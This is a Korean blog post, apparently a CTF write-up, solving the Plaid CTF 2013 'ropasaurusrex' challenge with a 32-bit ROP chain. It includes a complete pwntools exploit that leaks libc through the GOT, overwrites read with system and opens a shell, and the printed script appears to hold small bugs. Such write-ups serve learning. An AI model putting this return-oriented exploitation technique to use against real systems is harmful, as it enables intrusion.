-
[32비트 ROP] Plaid CTF 2013 RopasaurusrexWeekHack/Pwnable 2019. 3. 28. 21:05반응형SMALL
안녕하세요. Luke입니다. 코드게이트 잘 다녀와서 독감이 걸리고 말았네요 흑흑...(어쩐지 코드게이트에서부터 계속 힘들더라고요 ㅠㅠ)
어쨋든 학교를 쉬는 김에 64비트 ROP를 클리어 해보기 위해! 다시 한번 32비트 ROP인 ropasaurusrex를 꺼냈답니다!
먼저 ropasaurusrex 바이너리를 실행시켜보도록 하겠습니다. 참고로 바이너리는 아래의 링크에서 받으실 수 있습니다.
https://drive.google.com/file/d/1lRFuHIv5L_xdQrKr28nn3llnB_o1COge/view?usp=sharing
어쨋든 그럼 이제 문제를 풀어보도록 하겠습니다.
(ROP에 대해 접해보시지 않은 분들을 위해서는... 죄송합니다... 반쯤 헤롱헤롱한 상태로 쓰는 글이라.. 정말 필수적인 내용만 글에 담을 생각입니다. ROP에 대해서는 추가적으로 친절히 설명해드리는 그을 다음에 다시 작성하도록 하겠습니다.)
일단 바이너리를 실행시켜 줍니다.
조그마한 입력을 받은 후 WIN이라는 문자열을 띄워줍니다. 기분은 좋군요 ㅎㅎ
보호기법은 NX(Non-eXecutive)가 결려있네요. 말 그대로 Stack영역에서 코드가 실행이 안되요... 쉘코드는 안되겠네요.
ROP일거라고 추측이 갑니다.
그럼 그냥 바로 IDA로 열어보겠습니다. IDA 짱짱
func_read()라는 제가 임의로 이름지은 함수가 실행되고 write함수로 WIN을 띄워줍니다.
func_read()함수에는
read로 256만큼의 입력을 받습니다. 아마 여기서 버퍼오버플로우 취약점이 발생하지 않을까라고 짐작이 갑니다.
그럼 시나리오를 대충 짜보겠습니다.
read함수에서 bof가 터지는거 같기에.. read함수에다가 ROP를 시도해보겠습니다.
그럼 준비물은 pop3r 주소와, bss영역의 주소가 될 것 같네요.(필요한 함수의 plt, got은 pwntools를 이용해 구할 예정)
먼저 버퍼와 SFP를 가득 채운 다음
read함수로 bss영역에 '/bin/sh'라는 문자열을 넣어주고
read함수 got write함수 plt를 이용해 leak한 다음.
read함수를 libc+offset을 이용해 system함수로 바꾸어,
read함수 PLT를 실행시켜 주면 될 것 같습니다.
그럼 해당 시나리오대로 한번 해보겠습니다.
먼저 pop3r을 구해보도록 하겠습니다.
pop3r의 주소는 0x80484b6네요
그럼 아까 말했듯이 다른 준비물인 bss를 구해볼까요
bss는 여기 있대요. 0x8049628
그럼 준비물이 다 갖춰졌으니 익스 코드를 짜보도록 하겠습니다.
from pwn import *
c=process('./ropasaurusrex')
e=ELF('./ropasaurusrex')
read_plt=e.plt['read']
read_got=e.got['read']
write_plt=e.plt['write']
write_got=e.got['write']
binsh='/bin/sh'
bss=0x8049628
pop3r=0x80484b6
lenbin=len(binsh)
libc=e.libc
pay="A"*260
pay+=p32(read_plt)
pay+=p32(pop3r)
pay+=p32(0)
pay+=p32(bss)
pay+=p32(lenbin)
pay+=p32(write_plt)
pay+=p32(pop3r)
pay+=p32(0)
pay+=p32(read_got)
pay+=p32(4)
pay+=p32(read_plt)
pay+=p32(pop3r)
pay+=p32(0)
pay+=p32(read_got)
pay+=p32(4)
pay+=p32(read_plt)
pay+="A"*4
pay+=p32(bss)
c.sendline(pay)
readaddr=u32(conn.recv(4))
base=readaddr-libc['read']
systemaddr=base+libc['system']
c.sendline(systemaddr)
c.interactive()이렇게 풀면..!
이렇게 쉘이 따이게 된답니다~!!
그럼 조만간 이제 64비트 ROP 삽질 후 Codegate2018 Qual이었던 베스킨라빈스31 문제를 가져오도록 하겠습니다..(풀면요 흑흑)
P.S.)이 문제 풀 때 ROP에 대해 친절히 하나하나 과외라고 해도 될 정도로 가르쳐준 조준하에게 감사를!
반응형LIST